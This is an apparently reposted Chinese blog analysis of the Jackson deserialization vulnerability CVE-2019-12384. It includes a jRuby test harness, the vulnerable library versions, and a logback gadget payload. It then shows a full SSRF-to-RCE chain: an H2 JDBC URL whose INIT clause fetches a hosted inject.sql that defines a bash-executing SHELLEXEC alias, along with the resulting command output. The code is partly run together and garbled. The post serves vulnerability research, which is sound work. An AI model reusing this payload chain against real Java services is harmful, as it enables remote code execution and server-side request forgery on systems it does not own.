java jackson漏洞_CVE-2019-12384:Jackson反序列化漏洞分析

content = ARGV[0]

puts "Mapping"mapper = ObjectMapper.newmapper.enableDefaultTypingmapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);puts "Serializing"obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the settersputs "objectified"puts "stringified: "+ mapper.writeValueAsString(obj)

脚本主要执行如下操作:

1、第2行,加载classpath子目录中JAR中包含的所有类;

2、第5-13行,配置Jackson以满足漏洞利用条件;

3、第14-17行,反序列化及序列化以JSON形式传递给jRuby的一个Jackson多态对象。

0x03 Gadget

在此次研究中,我们决定使用Java社区中广泛使用的gadget。我们的目标库为Maven中排名前100位的所有库,以便演示攻击影响。

如果大家想复现攻击过程,可以下载如下程序库,将这些库存放在classpath目录中:

jackson-databind-2.9.8

jackson-annotations-2.9.8

jackson-core-2.9.8

logback-core-1.3.0-alpha4

h2-1.4.199

需要注意的是,SSRF攻击中并不需要使用h2库,因为根据我们的经验,大多数情况下Java应用至少会加载一个JDBC驱动。JDBC驱动也是一种类,当传入JDBC url时会被自动实例化,完整URL会以参数形式传入处理。

我们可以使用如下命令来调用之前开发好的脚本:

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]"

在脚本第15行,Jackson会使用子对象中的键值递归调用所有set方法。更具体一些,Jackson反射库会调用setUrl(String url),传入所需参数。此后(第17行),整个对象会被再次序列化为一个JSON对象。如果没有定义任何get方法,或者通过显示get方法,此时所有的字段都会被直接序列化。对我们来说比较有趣的是getConnection。作为攻击者,实际上我们感兴趣的是所有的“non pure”(“非纯”)方法,通过控制参数,这些方法会存在一些有趣的“副作用”。

当调用getConnection时,代码会实例化一个内存数据库。由于目标应用生存周期较短,从攻击者视角来看,我们看不到任何影响。为了完成更有意义的任务,我们创建了到远程数据库的一个连接。如果目标应用以远程服务方式进行部署,那么攻击者可以达到SSRF(Server Side Request Forgery)效果,典型攻击场景如下图所示:

b311c461e051f41af3d5e75c013bebf8.png

0x04 从SSRF到RCE

大家可能已经注意到,这些攻击场景都与DoS以及SSRF有关。在这种情况下,虽然攻击者可能影响应用的安全性,但我们还是想与大家分享如何通过一种简单有效的方法,将SSRF转换成完成的RCE攻击链。

为了在应用上下文中获得完整的代码执行权限,我们在环境中部署了加载H2 JDBC驱动的功能。H2是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此支持指定包含java代码的自定义别名。我们可以滥用这一点来执行任意代码。

我们可以通过python构建一个简单的HTTP服务器(比如python -m SimpleHttpServer),托管如下inject.sqlINIT文件:

CREATE ALIAS SHELLEXEC AS $$ Stringshellexec(Stringcmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = newjava.util.Scanner(Runtime.getRuntime.exec(command).getInputStream).useDelimiter("A");returns.hasNext ? s.next : ""; }$$;CALL SHELLEXEC('id > exploited.txt')

然后通过如下方式运行测试应用:

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUN FROM 'http://localhost:8000/inject.sql'"}]"...$ cat exploited.txtuid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

这样就能实现RCE效果。返回搜狐,查看更多

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值